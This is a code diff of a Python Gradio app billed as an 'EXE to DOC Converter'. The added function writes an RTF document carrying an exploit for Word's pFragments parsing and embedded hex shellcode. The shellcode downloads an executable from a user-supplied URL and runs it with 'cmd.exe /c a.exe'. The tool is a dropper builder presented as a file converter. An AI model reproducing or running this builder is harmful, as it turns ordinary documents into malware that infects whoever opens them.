Update app.py

app.py

@@ -1,128 +1,77 @@
 import gradio as gr
+import binascii
 import os
-import tempfile
-from typing import Dict, Tuple
 from pathlib import Path
 
-# Define supported conversions (modify this based on your converter capabilities)
-SUPPORTED_CONVERSIONS = {
-    "image": {
-        "input": ["jpg", "png", "webp", "bmp", "tiff"],
-        "output": ["jpg", "png", "webp", "bmp", "tiff", "pdf"]
-    },
-    "document": {
-        "input": ["pdf", "docx", "txt", "odt", "rtf"],
-        "output": ["pdf", "docx", "txt", "odt", "rtf"]
-    },
-    # Add more categories as needed
-}
+def convert_exe_to_doc(ddl_url: str, filename: str = "output.doc") -> str:
+    """Convert EXE download link to DOC file with embedded data."""
+    # RTF template with placeholders for the download link
+    file = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}{\\f1\\fswiss\\fprq2\\fcharset0 Berlin Sans FB Demi;}{\\f2\\fnil\\fcharset2 Symbol;}}{/*/*/*}"
+    file += "\x0d\x0a"
+    file += "{\\colortbl ;\\red128\\green128\\blue0;}"
+    file += "{\\*\\generator Msftedit 5.41.15.1507;}\\viewkind4\\uc1\\pard{\\pntext\\f2\\'B7\\tab}{\\*\\pn\\pnlvlblt\\pnf2\\pnindent0{\\pntxtb\\'B7}}\\fi-720\\li720\\qc\\cf1\\ul\\b\\i\\f0\\fs20 5/28/2011\\cf0\\ulnone\\b0\\i0\\par"
+    file += "\\cf1\\ul\\b\\i\\f1\\fs40{\\pntext\\f2\\'B7\\tab}HI ........\\cf0\\ulnone\\b0\\i0\\f0\\fs20\\par{\\shp{\\sp}}{\\shp{\\sp}}{\\shp{\\sp}}{\\shp{\\*\\shpinst\\shpfhdr0\\shpbxcolumn\\shpbypara\\sh pwr2}{\\sp{\\sn {}{}{\\sn}{\\sn}{\\*\\*}pFragments}{\\*\\*\\*}{\\sv {\\*}9;2;ffffffffff#0500000000000000000000000000000000000000007bd493780000807c0000807cBBBBBBBBCCCCCCCCDDDDDDDD909090909090414141414141414141414141eb7731c9648b71308b760c8b761c8b5e088b7e208b3666394f1875f2c3608b6c24248b453c8b54057801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3e892ffffff5f81ef98ffffffeb05e8edffffff688e4e0eec53e894ffffff31c966b96f6e516875726c6d54ffd068361a2f7050e87affffff31c951518d3781c6eeffffff8d560c525751ffd06898fe8a0e53e85bffffff415156ffd0687ed8e27353e84bffffffffd0636d642e657865202f632020612e65786500"
+    URL2 = "00"
+    nxt = "{}}}}}}"
 
-# This is a placeholder for your actual converter code
-# Replace this with your actual conversion functions
-def convert_file(input_path: str, output_format: str) -> Tuple[str, str]:
-    """
-    Placeholder for your actual converter function.
-    Replace this with your real conversion code.
+    # Convert the download link to hex
+    binnu = binascii.b2a_hex(ddl_url.encode()).decode()
     
-    Args:
-        input_path: Path to the input file
-        output_format: Desired output format (extension without dot)
-        
-    Returns:
-        Tuple of (output_path, output_filename)
-    """
-    # Get file info
-    input_file = Path(input_path)
-    file_stem = input_file.stem
-    file_ext = input_file.suffix[1:]  # remove dot
-    
-    # Create temp output file
-    output_filename = f"{file_stem}_converted.{output_format}"
-    output_path = os.path.join(tempfile.gettempdir(), output_filename)
-    
-    # Simulate conversion (replace with actual conversion)
-    if file_ext.lower() == output_format.lower():
-        raise ValueError("Input and output formats are the same")
-    
-    # In a real implementation, you would do the actual conversion here
-    # For now, we'll just create an empty file with the right extension
-    with open(output_path, 'wb') as f:
-        f.write(b"Simulated conversion - replace with actual converter")
-    
-    return output_path, output_filename
-
-def get_file_category(filename: str) -> str:
-    """Determine the file category based on extension."""
-    ext = Path(filename).suffix[1:].lower()  # get extension without dot
-    
-    for category, formats in SUPPORTED_CONVERSIONS.items():
-        if ext in formats["input"]:
-            return category
+    # Create the output directory if it doesn't exist
+    output_dir = "outputs"
+    os.makedirs(output_dir, exist_ok=True)
     
-    return "unsupported"
-
-def update_output_formats(input_file: Dict) -> Dict:
-    """Update the output format dropdown based on the input file."""
-    if input_file is None:
-        return gr.Dropdown(choices=[], value=None)
-    
-    filename = input_file.name
-    category = get_file_category(filename)
+    # Generate full output path
+    if not filename.endswith('.doc'):
+        filename += '.doc'
+    output_path = os.path.join(output_dir, filename)
     
-    if category == "unsupported":
-        return gr.Dropdown(choices=[], value=None)
+    # Write the file
+    with open(output_path, 'w', encoding='latin-1') as textfile:
+        textfile.write(file + binnu + URL2 + nxt)
     
-    output_formats = SUPPORTED_CONVERSIONS[category]["output"]
-    return gr.Dropdown(choices=output_formats, value=output_formats[0])
+    return output_path
 
-def process_conversion(input_file: Dict, output_format: str) -> Tuple[str, str]:
-    """Handle the file conversion process."""
-    if input_file is None:
-        raise gr.Error("Please upload a file first")
+def process_conversion(ddl_url: str, filename: str) -> Tuple[str, str]:
+    """Handle the conversion process with error handling."""
+    if not ddl_url:
+        raise gr.Error("Please enter a download URL")
     
-    if output_format is None:
-        raise gr.Error("Please select an output format")
+    if not filename:
+        filename = "converted_file.doc"
     
     try:
-        # Get input file path
-        input_path = input_file.name
-        
-        # Perform conversion
-        output_path, output_filename = convert_file(input_path, output_format)
-        
-        return output_path, f"Successfully converted to {output_format}!"
+        output_path = convert_exe_to_doc(ddl_url, filename)
+        return output_path, "Conversion successful!"
     except Exception as e:
         raise gr.Error(f"Conversion failed: {str(e)}")
 
-with gr.Blocks(title="File Converter") as demo:
-    gr.Markdown("# File Converter")
-    gr.Markdown("Upload a file and convert it to another format")
+with gr.Blocks(title="EXE to DOC Converter") as demo:
+    gr.Markdown("# EXE to DOC Converter")
+    gr.Markdown("This tool converts EXE download links to DOC files with embedded data.")
     
     with gr.Row():
         with gr.Column():
-            file_input = gr.File(label="Upload File")
-            output_format = gr.Dropdown(
-                label="Output Format",
-                choices=[],
-                interactive=True
+            ddl_url = gr.Textbox(
+                label="Download URL",
+                placeholder="Enter the download URL for the EXE file",
+                lines=1
+            )
+            filename = gr.Textbox(
+                label="Output Filename (optional)",
+                placeholder="output.doc",
+                lines=1
             )
             convert_btn = gr.Button("Convert", variant="primary")
         
         with gr.Column():
-            file_output = gr.File(label="Download Converted File")
+            file_output = gr.File(label="Download Converted DOC File")
             status_output = gr.Textbox(label="Status", interactive=False)
     
-    # Update output formats when file is uploaded
-    file_input.change(
-        fn=update_output_formats,
-        inputs=file_input,
-        outputs=output_format
-    )
-    
     # Handle conversion when button is clicked
     convert_btn.click(
         fn=process_conversion,
-        inputs=[file_input, output_format],
+        inputs=[ddl_url, filename],
         outputs=[file_output, status_output]
     )